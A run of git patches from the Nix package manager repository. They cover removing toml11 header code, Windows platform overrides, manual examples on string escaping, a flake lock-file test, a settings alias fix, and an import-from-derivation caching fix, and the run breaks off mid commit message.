-    value_type const& at(const std::size_t idx) const
-    {
-        if(!this->is_array())
-        {
-            detail::throw_bad_cast<value_t::array>(
-                "toml::value::at(idx): ", this->type_, *this);
-        }
-        if(this->as_array(std::nothrow).size() <= idx)
-        {
-            throw std::out_of_range(detail::format_underline(
-                "toml::value::at(idx): no element corresponding to the index", {
-                    {this->location(), concat_to_string("the length is ",
-                        this->as_array(std::nothrow).size(),
-                        ", and the specified index is ", idx)}
-                }));
-        }
-        return this->as_array(std::nothrow).at(idx);
-    }
-
-    value_type&       operator[](const std::size_t idx) noexcept
-    {
-        // no check...
-        return this->as_array(std::nothrow)[idx];
-    }
-    value_type const& operator[](const std::size_t idx) const noexcept
-    {
-        // no check...
-        return this->as_array(std::nothrow)[idx];
-    }
-
-    void push_back(const value_type& x)
-    {
-        if(!this->is_array())
-        {
-            detail::throw_bad_cast<value_t::array>(
-                "toml::value::push_back(value): ", this->type_, *this);
-        }
-        this->as_array(std::nothrow).push_back(x);
-        return;
-    }
-    void push_back(value_type&& x)
-    {
-        if(!this->is_array())
-        {
-            detail::throw_bad_cast<value_t::array>(
-                "toml::value::push_back(value): ", this->type_, *this);
-        }
-        this->as_array(std::nothrow).push_back(std::move(x));
-        return;
-    }
-
-    template<typename ... Ts>
-    value_type& emplace_back(Ts&& ... args)
-    {
-        if(!this->is_array())
-        {
-            detail::throw_bad_cast<value_t::array>(
-                "toml::value::emplace_back(...): ", this->type_, *this);
-        }
-        this->as_array(std::nothrow).emplace_back(std::forward<Ts>(args) ...);
-        return this->as_array(std::nothrow).back();
-    }
-
-    std::size_t size() const
-    {
-        switch(this->type_)
-        {
-            case value_t::array:
-            {
-                return this->as_array(std::nothrow).size();
-            }
-            case value_t::table:
-            {
-                return this->as_table(std::nothrow).size();
-            }
-            case value_t::string:
-            {
-                return this->as_string(std::nothrow).str.size();
-            }
-            default:
-            {
-                throw type_error(detail::format_underline(
-                    "toml::value::size(): bad_cast to container types", {
-                        {this->location(),
-                         concat_to_string("the actual type is ", this->type_)}
-                    }), this->location());
-            }
-        }
-    }
-
-    std::size_t count(const key_type& k) const
-    {
-        if(!this->is_table())
-        {
-            detail::throw_bad_cast<value_t::table>(
-                "toml::value::count(key): ", this->type_, *this);
-        }
-        return this->as_table(std::nothrow).count(k);
-    }
-
-    bool contains(const key_type& k) const
-    {
-        if(!this->is_table())
-        {
-            detail::throw_bad_cast<value_t::table>(
-                "toml::value::contains(key): ", this->type_, *this);
-        }
-        return (this->as_table(std::nothrow).count(k) != 0);
-    }
-
-    source_location location() const
-    {
-        return source_location(this->region_info_.get());
-    }
-
-    comment_type const& comments() const noexcept {return this->comments_;}
-    comment_type&       comments()       noexcept {return this->comments_;}
-
-  private:
-
-    void cleanup() noexcept
-    {
-        switch(this->type_)
-        {
-            case value_t::string  : {string_.~string();       return;}
-            case value_t::array   : {array_.~array_storage(); return;}
-            case value_t::table   : {table_.~table_storage(); return;}
-            default              : return;
-        }
-    }
-
-    // for error messages
-    template<typename Value>
-    friend region_base const* detail::get_region(const Value& v);
-
-    template<typename Value>
-    friend void detail::change_region(Value& v, detail::region reg);
-
-  private:
-
-    using array_storage = detail::storage<array_type>;
-    using table_storage = detail::storage<table_type>;
-
-    value_t type_;
-    union
-    {
-        boolean         boolean_;
-        integer         integer_;
-        floating        floating_;
-        string          string_;
-        offset_datetime offset_datetime_;
-        local_datetime  local_datetime_;
-        local_date      local_date_;
-        local_time      local_time_;
-        array_storage   array_;
-        table_storage   table_;
-    };
-    std::shared_ptr<region_base> region_info_;
-    comment_type                 comments_;
-};
-
-// default toml::value and default array/table.
-// TOML11_DEFAULT_COMMENT_STRATEGY is defined in comments.hpp
-using value = basic_value<TOML11_DEFAULT_COMMENT_STRATEGY, std::unordered_map, std::vector>;
-using array = typename value::array_type;
-using table = typename value::table_type;
-
-template<typename C, template<typename ...> class T, template<typename ...> class A>
-inline bool
-operator==(const basic_value<C, T, A>& lhs, const basic_value<C, T, A>& rhs)
-{
-    if(lhs.type()     != rhs.type())     {return false;}
-    if(lhs.comments() != rhs.comments()) {return false;}
-
-    switch(lhs.type())
-    {
-        case value_t::boolean  :
-        {
-            return lhs.as_boolean() == rhs.as_boolean();
-        }
-        case value_t::integer  :
-        {
-            return lhs.as_integer() == rhs.as_integer();
-        }
-        case value_t::floating :
-        {
-            return lhs.as_floating() == rhs.as_floating();
-        }
-        case value_t::string   :
-        {
-            return lhs.as_string() == rhs.as_string();
-        }
-        case value_t::offset_datetime:
-        {
-            return lhs.as_offset_datetime() == rhs.as_offset_datetime();
-        }
-        case value_t::local_datetime:
-        {
-            return lhs.as_local_datetime() == rhs.as_local_datetime();
-        }
-        case value_t::local_date:
-        {
-            return lhs.as_local_date() == rhs.as_local_date();
-        }
-        case value_t::local_time:
-        {
-            return lhs.as_local_time() == rhs.as_local_time();
-        }
-        case value_t::array    :
-        {
-            return lhs.as_array() == rhs.as_array();
-        }
-        case value_t::table    :
-        {
-            return lhs.as_table() == rhs.as_table();
-        }
-        case value_t::empty    : {return true; }
-        default:                 {return false;}
-    }
-}
-
-template<typename C, template<typename ...> class T, template<typename ...> class A>
-inline bool operator!=(const basic_value<C, T, A>& lhs, const basic_value<C, T, A>& rhs)
-{
-    return !(lhs == rhs);
-}
-
-template<typename C, template<typename ...> class T, template<typename ...> class A>
-typename std::enable_if<detail::conjunction<
-    detail::is_comparable<typename basic_value<C, T, A>::array_type>,
-    detail::is_comparable<typename basic_value<C, T, A>::table_type>
-    >::value, bool>::type
-operator<(const basic_value<C, T, A>& lhs, const basic_value<C, T, A>& rhs)
-{
-    if(lhs.type() != rhs.type()){return (lhs.type() < rhs.type());}
-    switch(lhs.type())
-    {
-        case value_t::boolean  :
-        {
-            return lhs.as_boolean() <  rhs.as_boolean() ||
-                  (lhs.as_boolean() == rhs.as_boolean() &&
-                   lhs.comments() < rhs.comments());
-        }
-        case value_t::integer  :
-        {
-            return lhs.as_integer() <  rhs.as_integer() ||
-                  (lhs.as_integer() == rhs.as_integer() &&
-                   lhs.comments() < rhs.comments());
-        }
-        case value_t::floating :
-        {
-            return lhs.as_floating() <  rhs.as_floating() ||
-                  (lhs.as_floating() == rhs.as_floating() &&
-                   lhs.comments() < rhs.comments());
-        }
-        case value_t::string   :
-        {
-            return lhs.as_string() <  rhs.as_string() ||
-                  (lhs.as_string() == rhs.as_string() &&
-                   lhs.comments() < rhs.comments());
-        }
-        case value_t::offset_datetime:
-        {
-            return lhs.as_offset_datetime() <  rhs.as_offset_datetime() ||
-                  (lhs.as_offset_datetime() == rhs.as_offset_datetime() &&
-                   lhs.comments() < rhs.comments());
-        }
-        case value_t::local_datetime:
-        {
-            return lhs.as_local_datetime() <  rhs.as_local_datetime() ||
-                  (lhs.as_local_datetime() == rhs.as_local_datetime() &&
-                   lhs.comments() < rhs.comments());
-        }
-        case value_t::local_date:
-        {
-            return lhs.as_local_date() <  rhs.as_local_date() ||
-                  (lhs.as_local_date() == rhs.as_local_date() &&
-                   lhs.comments() < rhs.comments());
-        }
-        case value_t::local_time:
-        {
-            return lhs.as_local_time() <  rhs.as_local_time() ||
-                  (lhs.as_local_time() == rhs.as_local_time() &&
-                   lhs.comments() < rhs.comments());
-        }
-        case value_t::array    :
-        {
-            return lhs.as_array() <  rhs.as_array() ||
-                  (lhs.as_array() == rhs.as_array() &&
-                   lhs.comments() < rhs.comments());
-        }
-        case value_t::table    :
-        {
-            return lhs.as_table() <  rhs.as_table() ||
-                  (lhs.as_table() == rhs.as_table() &&
-                   lhs.comments() < rhs.comments());
-        }
-        case value_t::empty    :
-        {
-            return lhs.comments() < rhs.comments();
-        }
-        default:
-        {
-            return lhs.comments() < rhs.comments();
-        }
-    }
-}
-
-template<typename C, template<typename ...> class T, template<typename ...> class A>
-typename std::enable_if<detail::conjunction<
-    detail::is_comparable<typename basic_value<C, T, A>::array_type>,
-    detail::is_comparable<typename basic_value<C, T, A>::table_type>
-    >::value, bool>::type
-operator<=(const basic_value<C, T, A>& lhs, const basic_value<C, T, A>& rhs)
-{
-    return (lhs < rhs) || (lhs == rhs);
-}
-template<typename C, template<typename ...> class T, template<typename ...> class A>
-typename std::enable_if<detail::conjunction<
-    detail::is_comparable<typename basic_value<C, T, A>::array_type>,
-    detail::is_comparable<typename basic_value<C, T, A>::table_type>
-    >::value, bool>::type
-operator>(const basic_value<C, T, A>& lhs, const basic_value<C, T, A>& rhs)
-{
-    return !(lhs <= rhs);
-}
-template<typename C, template<typename ...> class T, template<typename ...> class A>
-typename std::enable_if<detail::conjunction<
-    detail::is_comparable<typename basic_value<C, T, A>::array_type>,
-    detail::is_comparable<typename basic_value<C, T, A>::table_type>
-    >::value, bool>::type
-operator>=(const basic_value<C, T, A>& lhs, const basic_value<C, T, A>& rhs)
-{
-    return !(lhs < rhs);
-}
-
-template<typename C, template<typename ...> class T, template<typename ...> class A>
-inline std::string format_error(const std::string& err_msg,
-        const basic_value<C, T, A>& v, const std::string& comment,
-        std::vector<std::string> hints = {},
-        const bool colorize = TOML11_ERROR_MESSAGE_COLORIZED)
-{
-    return detail::format_underline(err_msg, {{v.location(), comment}},
-                                    std::move(hints), colorize);
-}
-
-template<typename C, template<typename ...> class T, template<typename ...> class A>
-inline std::string format_error(const std::string& err_msg,
-        const toml::basic_value<C, T, A>& v1, const std::string& comment1,
-        const toml::basic_value<C, T, A>& v2, const std::string& comment2,
-        std::vector<std::string> hints = {},
-        const bool colorize = TOML11_ERROR_MESSAGE_COLORIZED)
-{
-    return detail::format_underline(err_msg, {
-            {v1.location(), comment1}, {v2.location(), comment2}
-        }, std::move(hints), colorize);
-}
-
-template<typename C, template<typename ...> class T, template<typename ...> class A>
-inline std::string format_error(const std::string& err_msg,
-        const toml::basic_value<C, T, A>& v1, const std::string& comment1,
-        const toml::basic_value<C, T, A>& v2, const std::string& comment2,
-        const toml::basic_value<C, T, A>& v3, const std::string& comment3,
-        std::vector<std::string> hints = {},
-        const bool colorize = TOML11_ERROR_MESSAGE_COLORIZED)
-{
-    return detail::format_underline(err_msg, {{v1.location(), comment1},
-            {v2.location(), comment2}, {v3.location(), comment3}
-        }, std::move(hints), colorize);
-}
-
-template<typename Visitor, typename C,
-         template<typename ...> class T, template<typename ...> class A>
-detail::return_type_of_t<Visitor, const toml::boolean&>
-visit(Visitor&& visitor, const toml::basic_value<C, T, A>& v)
-{
-    switch(v.type())
-    {
-        case value_t::boolean        : {return visitor(v.as_boolean        ());}
-        case value_t::integer        : {return visitor(v.as_integer        ());}
-        case value_t::floating       : {return visitor(v.as_floating       ());}
-        case value_t::string         : {return visitor(v.as_string         ());}
-        case value_t::offset_datetime: {return visitor(v.as_offset_datetime());}
-        case value_t::local_datetime : {return visitor(v.as_local_datetime ());}
-        case value_t::local_date     : {return visitor(v.as_local_date     ());}
-        case value_t::local_time     : {return visitor(v.as_local_time     ());}
-        case value_t::array          : {return visitor(v.as_array          ());}
-        case value_t::table          : {return visitor(v.as_table          ());}
-        case value_t::empty          : break;
-        default: break;
-    }
-    throw std::runtime_error(format_error("[error] toml::visit: toml::basic_value "
-            "does not have any valid basic_value.", v, "here"));
-}
-
-template<typename Visitor, typename C,
-         template<typename ...> class T, template<typename ...> class A>
-detail::return_type_of_t<Visitor, toml::boolean&>
-visit(Visitor&& visitor, toml::basic_value<C, T, A>& v)
-{
-    switch(v.type())
-    {
-        case value_t::boolean        : {return visitor(v.as_boolean        ());}
-        case value_t::integer        : {return visitor(v.as_integer        ());}
-        case value_t::floating       : {return visitor(v.as_floating       ());}
-        case value_t::string         : {return visitor(v.as_string         ());}
-        case value_t::offset_datetime: {return visitor(v.as_offset_datetime());}
-        case value_t::local_datetime : {return visitor(v.as_local_datetime ());}
-        case value_t::local_date     : {return visitor(v.as_local_date     ());}
-        case value_t::local_time     : {return visitor(v.as_local_time     ());}
-        case value_t::array          : {return visitor(v.as_array          ());}
-        case value_t::table          : {return visitor(v.as_table          ());}
-        case value_t::empty          : break;
-        default: break;
-    }
-    throw std::runtime_error(format_error("[error] toml::visit: toml::basic_value "
-            "does not have any valid basic_value.", v, "here"));
-}
-
-template<typename Visitor, typename C,
-         template<typename ...> class T, template<typename ...> class A>
-detail::return_type_of_t<Visitor, toml::boolean&&>
-visit(Visitor&& visitor, toml::basic_value<C, T, A>&& v)
-{
-    switch(v.type())
-    {
-        case value_t::boolean        : {return visitor(std::move(v.as_boolean        ()));}
-        case value_t::integer        : {return visitor(std::move(v.as_integer        ()));}
-        case value_t::floating       : {return visitor(std::move(v.as_floating       ()));}
-        case value_t::string         : {return visitor(std::move(v.as_string         ()));}
-        case value_t::offset_datetime: {return visitor(std::move(v.as_offset_datetime()));}
-        case value_t::local_datetime : {return visitor(std::move(v.as_local_datetime ()));}
-        case value_t::local_date     : {return visitor(std::move(v.as_local_date     ()));}
-        case value_t::local_time     : {return visitor(std::move(v.as_local_time     ()));}
-        case value_t::array          : {return visitor(std::move(v.as_array          ()));}
-        case value_t::table          : {return visitor(std::move(v.as_table          ()));}
-        case value_t::empty          : break;
-        default: break;
-    }
-    throw std::runtime_error(format_error("[error] toml::visit: toml::basic_value "
-            "does not have any valid basic_value.", v, "here"));
-}
-
-}// toml
-#endif// TOML11_VALUE

From b87e048b3baeafd7c4d612674e6b02b9202d8272 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 26 Jun 2024 23:30:38 -0400
Subject: [PATCH 439/528] Override `toml11` so it evaluates on Windows too

---
 package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/package.nix b/package.nix
index 126af6add85..158696f304b 100644
--- a/package.nix
+++ b/package.nix
@@ -226,7 +226,10 @@ in {
     libsodium
     openssl
     sqlite
-    toml11
+    (toml11.overrideAttrs (old: {
+      # TODO change in Nixpkgs, Windows works fine.
+      meta.platforms = lib.platforms.all;
+    }))
     xz
     ({ inherit readline editline; }.${readlineFlavor})
   ] ++ lib.optionals enableMarkdown [

From 3b388f6629938317d96ce72a1cfbee64372d8ce8 Mon Sep 17 00:00:00 2001
From: Harmen <alicebob@lijzij.de>
Date: Thu, 27 Jun 2024 10:30:21 +0200
Subject: [PATCH 440/528] string interpolation escape example (#10966)

* string interpolation escape example

Make it easier to find the documentation, and the example might be enough for most cases.

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
 .../src/language/string-interpolation.md      | 41 +++++++++++++++++++
 1 file changed, 41 insertions(+)

diff --git a/doc/manual/src/language/string-interpolation.md b/doc/manual/src/language/string-interpolation.md
index 1e2c4ad9593..7b4a5cfef2d 100644
--- a/doc/manual/src/language/string-interpolation.md
+++ b/doc/manual/src/language/string-interpolation.md
@@ -43,6 +43,47 @@ configureFlags = "
 Note that Nix expressions and strings can be arbitrarily nested;
 in this case the outer string contains various interpolated expressions that themselves contain strings (e.g., `"-thread"`), some of which in turn contain interpolated expressions (e.g., `${mesa}`).
 
+To write a literal `${` in an regular string, escape it with a backslash (`\`).
+
+> **Example**
+>
+> ```nix
+> "echo \${PATH}"
+> ```
+>
+>     "echo ${PATH}"
+
+To write a literal `${` in an indented string, escape it with two single quotes (`''`).
+
+> **Example**
+>
+> ```nix
+> ''
+>   echo ''${PATH}
+> ''
+> ```
+>
+>     "echo ${PATH}\n"
+
+`$${` can be written literally in any string.
+
+> **Example**
+>
+> In Make, `$` in file names or recipes is represented as `$$`, see [GNU `make`: Basics of Variable Reference](https://www.gnu.org/software/make/manual/html_node/Reference.html#Basics-of-Variable-References).
+> This can be expressed directly in the Nix language strings:
+>
+> ```nix
+> ''
+>   MAKEVAR = Hello
+>   all:
+>   	@export BASHVAR=world; echo $(MAKEVAR) $${BASHVAR}
+> ''
+> ```
+>
+>     "MAKEVAR = Hello\nall:\n\t@export BASHVAR=world; echo $(MAKEVAR) $\${BASHVAR}\n"
+
+See the [documentation on strings][string] for details.
+
 ### Path
 
 Rather than writing

From b44909ac2244bda4c387b9a17748e8a94ada9e78 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Thu, 27 Jun 2024 10:58:59 +0200
Subject: [PATCH 441/528] add many more examples on escaping in strings
 (#10974)

---
 doc/manual/src/language/values.md | 134 +++++++++++++++++++++++++-----
 1 file changed, 114 insertions(+), 20 deletions(-)

diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md
index 4eb1887fabe..ddd55a47e18 100644
--- a/doc/manual/src/language/values.md
+++ b/doc/manual/src/language/values.md
@@ -6,19 +6,60 @@
 
   *Strings* can be written in three ways.
 
-  The most common way is to enclose the string between double quotes,
-  e.g., `"foo bar"`. Strings can span multiple lines. The special
-  characters `"` and `\` and the character sequence `${` must be
-  escaped by prefixing them with a backslash (`\`). Newlines, carriage
-  returns and tabs can be written as `\n`, `\r` and `\t`,
-  respectively.
-
-  You can include the results of other expressions into a string by enclosing them in `${ }`, a feature known as [string interpolation].
+  The most common way is to enclose the string between double quotes, e.g., `"foo bar"`.
+  Strings can span multiple lines.
+  The results of other expressions can be included into a string by enclosing them in `${ }`, a feature known as [string interpolation].
 
   [string interpolation]: ./string-interpolation.md
 
-  The second way to write string literals is as an *indented string*,
-  which is enclosed between pairs of *double single-quotes*, like so:
+  The following must be escaped to represent them within a string, by prefixing with a backslash (`\`):
+
+  - Double quote (`"`)
+
+    > **Example**
+    >
+    > ```nix
+    > "\""
+    > ```
+    >
+    >    "\""
+
+  - Backslash (`\`)
+
+    > **Example**
+    >
+    > ```nix
+    > "\\"
+    > ```
+    >
+    >    "\\"
+
+  - Dollar sign followed by an opening curly bracket (`${`) – "dollar-curly"
+
+    > **Example**
+    >
+    > ```nix
+    > "\${"
+    > ```
+    >
+    >    "\${"
+
+  The newline, carriage return, and tab characters can be written as `\n`, `\r` and `\t`, respectively.
+
+  A "double-dollar-curly" (`$${`) can be written literally.
+
+  > **Example**
+  >
+  > ```nix
+  > "$${"
+  > ```
+  >
+  >    "$\${"
+
+  String values are output on the terminal with Nix-specific escaping.
+  Strings written to files will contain the characters encoded by the escaping.
+
+  The second way to write string literals is as an *indented string*, which is enclosed between pairs of *double single-quotes* (`''`), like so:
 
   ```nix
   ''
@@ -40,18 +81,71 @@
   "This is the first line.\nThis is the second line.\n  This is the third line.\n"
   ```
 
-  Note that the whitespace and newline following the opening `''` is
-  ignored if there is no non-whitespace text on the initial line.
+  > **Note**
+  >
+  > Whitespace and newline following the opening `''` is ignored if there is no non-whitespace text on the initial line.
+
+  > **Warning**
+  >
+  > Prefixed tab characters are not stripped.
+  >
+  > > **Example**
+  > >
+  > > The following indented string is prefixed with tabs:
+  > >
+  > > ''
+  > > 	all:
+  > > 		@echo hello
+  > > ''
+  > >
+  > >     "\tall:\n\t\t@echo hello\n"
 
   Indented strings support [string interpolation].
 
-  Since `${` and `''` have special meaning in indented strings, you
-  need a way to quote them. `$` can be escaped by prefixing it with
-  `''` (that is, two single quotes), i.e., `''$`. `''` can be escaped
-  by prefixing it with `'`, i.e., `'''`. `$` removes any special
-  meaning from the following `$`. Linefeed, carriage-return and tab
-  characters can be written as `''\n`, `''\r`, `''\t`, and `''\`
-  escapes any other character.
+  The following must be escaped to represent them in an indented string:
+
+  - `$` is escaped by prefixing it with two single quotes (`''`)
+
+    > **Example**
+    >
+    > ```nix
+    > ''
+    >   ''$
+    > ''
+    > ```
+    >
+    >     "$\n"
+
+  - `''` is escaped by prefixing it with one single quote (`'`)
+
+    > **Example**
+    >
+    > ```nix
+    > ''
+    >   '''
+    > ''
+    > ```
+    >
+    >     "''\n"
+
+  These special characters are escaped as follows:
+  - Linefeed (`\n`): `''\n`
+  - Carriage return (`\r`): `''\r`
+  - Tab (`\t`): `''\t`
+
+  `''\` escapes any other character.
+
+  A "double-dollar-curly" (`$${`) can be written literally.
+
+  > **Example**
+  >
+  > ```nix
+  > ''
+  >   $${
+  > ''
+  > ```
+  >
+  >     "$\${\n"
 
   Indented strings are primarily useful in that they allow multi-line
   string literals to follow the indentation of the enclosing Nix
@@ -167,7 +261,7 @@ function and the fifth being a set.
 
 Note that lists are only lazy in values, and they are strict in length.
 
-Elements in a list can be accessed using [`builtins.elemAt`](./builtins.md#builtins-elemAt). 
+Elements in a list can be accessed using [`builtins.elemAt`](./builtins.md#builtins-elemAt).
 
 ## Attribute Set
 

From 26089183e66e656699c50f928d860fc5be5279ef Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
 <theophane.hufschmitt@tweag.io>
Date: Fri, 28 Jun 2024 15:56:53 +0200
Subject: [PATCH 442/528] maintainers: Drop thufschmitt

https://github.com/NixOS/nixos-homepage/pull/1490
---
 .github/CODEOWNERS    | 2 +-
 maintainers/README.md | 1 -
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
index 99ca670e08f..a9ca74c17cc 100644
--- a/.github/CODEOWNERS
+++ b/.github/CODEOWNERS
@@ -23,4 +23,4 @@ maintainers/*.md @fricklerhandwerk
 src/**/*.md @fricklerhandwerk
 
 # Libstore layer
-/src/libstore @thufschmitt @ericson2314
+/src/libstore @ericson2314
diff --git a/maintainers/README.md b/maintainers/README.md
index bfa0cb5a183..2a718e283a2 100644
--- a/maintainers/README.md
+++ b/maintainers/README.md
@@ -30,7 +30,6 @@ We aim to achieve this by improving the contributor experience and attracting mo
 ## Members
 
 - Eelco Dolstra (@edolstra) – Team lead
-- Théophane Hufschmitt (@thufschmitt)
 - Valentin Gagarin (@fricklerhandwerk)
 - Thomas Bereknyei (@tomberek)
 - Robert Hensing (@roberth)

From 9e9730ef0f9773f38d0c49749ab6d3b24843296b Mon Sep 17 00:00:00 2001
From: Cole Helbling <cole.e.helbling@outlook.com>
Date: Fri, 28 Jun 2024 14:30:43 -0700
Subject: [PATCH 443/528] Test that commit-lock-file-summary and its alias work

---
 tests/functional/flakes/flakes.sh | 40 ++++++++++++++++++++++++++++++-
 1 file changed, 39 insertions(+), 1 deletion(-)

diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh
index 9d2524d155d..c3cb2c6611f 100755
--- a/tests/functional/flakes/flakes.sh
+++ b/tests/functional/flakes/flakes.sh
@@ -19,13 +19,17 @@ flake7Dir=$TEST_ROOT/flake7
 nonFlakeDir=$TEST_ROOT/nonFlake
 badFlakeDir=$TEST_ROOT/badFlake
 flakeGitBare=$TEST_ROOT/flakeGitBare
+lockfileSummaryFlake=$TEST_ROOT/lockfileSummaryFlake
 
-for repo in "$flake1Dir" "$flake2Dir" "$flake3Dir" "$flake7Dir" "$nonFlakeDir"; do
+for repo in "$flake1Dir" "$flake2Dir" "$flake3Dir" "$flake7Dir" "$nonFlakeDir" "$lockfileSummaryFlake"; do
     # Give one repo a non-main initial branch.
     extraArgs=
     if [[ "$repo" == "$flake2Dir" ]]; then
       extraArgs="--initial-branch=main"
     fi
+    if [[ "$repo" == "$lockfileSummaryFlake" ]]; then
+      extraArgs="--initial-branch=main"
+    fi
 
     createGitRepo "$repo" "$extraArgs"
 done
@@ -644,3 +648,37 @@ expectStderr 1 nix flake metadata "$flake2Dir" --no-allow-dirty --reference-lock
 [[ $($nonFlakeDir/shebang-inline-expr.sh baz) = "foo"$'\n'"baz" ]]
 [[ $($nonFlakeDir/shebang-file.sh baz) = "foo"$'\n'"baz" ]]
 expect 1 $nonFlakeDir/shebang-reject.sh 2>&1 | grepQuiet -F 'error: unsupported unquoted character in nix shebang: *. Use double backticks to escape?'
+
+# Test that the --commit-lock-file-summary flag and its alias work
+cat > "$lockfileSummaryFlake/flake.nix" <<EOF
+{
+  inputs = {
+    flake1.url = "git+file://$flake1Dir";
+  };
+
+  description = "lockfileSummaryFlake";
+
+  outputs = inputs: rec {
+    packages.$system.default = inputs.flake1.packages.$system.foo;
+  };
+}
+EOF
+
+git -C "$lockfileSummaryFlake" add flake.nix
+git -C "$lockfileSummaryFlake" commit -m 'Add lockfileSummaryFlake'
+
+testSummary="test summary 1"
+nix flake lock "$lockfileSummaryFlake" --commit-lock-file --commit-lock-file-summary "$testSummary"
+[[ -e "$lockfileSummaryFlake/flake.lock" ]]
+[[ -z $(git -C "$lockfileSummaryFlake" diff main || echo failed) ]]
+[[ "$(git -C "$lockfileSummaryFlake" log --format=%s -n 1)" = "$testSummary" ]]
+
+git -C "$lockfileSummaryFlake" rm :/:flake.lock
+git -C "$lockfileSummaryFlake" commit -m "remove flake.lock"
+testSummary="test summary 2"
+# NOTE(cole-h): We use `--option` here because Nix settings do not currently support flag-ifying the
+# alias of a setting: https://github.com/NixOS/nix/issues/10989
+nix flake lock "$lockfileSummaryFlake" --commit-lock-file --option commit-lockfile-summary "$testSummary"
+[[ -e "$lockfileSummaryFlake/flake.lock" ]]
+[[ -z $(git -C "$lockfileSummaryFlake" diff main || echo failed) ]]
+[[ "$(git -C "$lockfileSummaryFlake" log --format=%s -n 1)" = "$testSummary" ]]

From d906d423305116541769d23e51e5274a194c0d3b Mon Sep 17 00:00:00 2001
From: Cole Helbling <cole.e.helbling@outlook.com>
Date: Fri, 28 Jun 2024 10:57:03 -0700
Subject: [PATCH 444/528] Restore commit-lock-file-summary rename for
 consistency

It was originally renamed in https://github.com/NixOS/nix/pull/10691,
but https://github.com/NixOS/nix/pull/9063 accidentally removed the new
name and alias.
---
 src/libflake/flake-settings.hh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/libflake/flake-settings.hh b/src/libflake/flake-settings.hh
index 1087c0eba5e..f97c175e8a3 100644
--- a/src/libflake/flake-settings.hh
+++ b/src/libflake/flake-settings.hh
@@ -37,12 +37,12 @@ struct FlakeSettings : public Config
     Setting<std::string> commitLockFileSummary{
         this,
         "",
-        "commit-lockfile-summary",
+        "commit-lock-file-summary",
         R"(
           The commit summary to use when committing changed flake lock files. If
           empty, the summary is generated based on the action performed.
         )",
-        {},
+        {"commit-lockfile-summary"},
         true,
         Xp::Flakes};
 };

From fd94b74ee520f4e5acc95381e448ab31ee501426 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 29 Jun 2024 13:19:04 +0200
Subject: [PATCH 445/528] Fix #10947; don't cache disallowed IFD

---
 src/libexpr/primops.cc                |  2 +-
 tests/functional/flakes/eval-cache.sh | 17 ++++++++++++++++-
 2 files changed, 17 insertions(+), 2 deletions(-)

diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 21244101980..08f719f0fdf 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -78,7 +78,7 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS
     if (drvs.empty()) return {};
 
     if (isIFD && !settings.enableImportFromDerivation)
-        error<EvalError>(
+        error<EvalBaseError>(
             "cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled",
             drvs.begin()->to_string(*store)
         ).debugThrow();
diff --git a/tests/functional/flakes/eval-cache.sh b/tests/functional/flakes/eval-cache.sh
index 0f8df1b91dc..d581a8dbde2 100755
--- a/tests/functional/flakes/eval-cache.sh
+++ b/tests/functional/flakes/eval-cache.sh
@@ -7,12 +7,22 @@ requireGit
 flake1Dir="$TEST_ROOT/eval-cache-flake"
 
 createGitRepo "$flake1Dir" ""
+cp ../simple.nix ../simple.builder.sh ../config.nix "$flake1Dir/"
+git -C "$flake1Dir" add simple.nix simple.builder.sh config.nix
+git -C "$flake1Dir" commit -m "config.nix"
 
 cat >"$flake1Dir/flake.nix" <<EOF
 {
   description = "Fnord";
-  outputs = { self }: {
+  outputs = { self }: let inherit (import ./config.nix) mkDerivation; in {
     foo.bar = throw "breaks";
+    drv = mkDerivation {
+      name = "build";
+      buildCommand = ''
+        echo true > \$out
+      '';
+    };
+    ifd = assert (import self.drv); self.drv;
   };
 }
 EOF
@@ -22,3 +32,8 @@ git -C "$flake1Dir" commit -m "Init"
 
 expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
 expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
+
+# Conditional error should not be cached
+expect 1 nix build "$flake1Dir#ifd" --option allow-import-from-derivation false 2>&1 \
+  | grepQuiet 'error: cannot build .* during evaluation because the option '\''allow-import-from-derivation'\'' is disabled'
+nix build "$flake1Dir#ifd"

From 9b88bf8adf721d6b2d1a5666a97a0c6e9046a2d7 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 29 Jun 2024 13:48:17 +0200
Subject: [PATCH 446/528] Fix underflow in Printer::printAttrs
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The code that counts the number of elided attrs incorrectly used the
per-printer "global" attribute counter instead of a counter that
was relevant only to the current attribute set.

This bug flew under the radar because often the attribute sets aren't
nested, not big enough, or we wouldn't pay attention to the numbers.
I've noticed the issue because the difference underflowed.

Although this behavior is tested by the functional test
lang/eval-fail-bad-string-interpolation-4.nix, the underflow slipped
through review. A simpler reproducer would be as follows, but I
haven't added it to the test suite to keep it simple and marginally
faster.

```
$ nix run nix/2.23.1 -- eval --expr '"" + (let v = { a = { a = 1; b = 2; c = 1; d = 1; e = 1; f = 1; g = 1; h = 1; }; b = { a = 1; b = 1; c = 1; }; }; in builtins.deepSeq v v)'
error:
       … while evaluating a path segment
         at «string»:1:6:
            1| "" + (let v = { a = { a = 1; b = 2; c = 1; d = 1; e = 1; f = 1; g = 1; h = 1; }; b = { a = 1; b = 1; c = 1; }; }; in builtins.deepSeq v v)
             |      ^

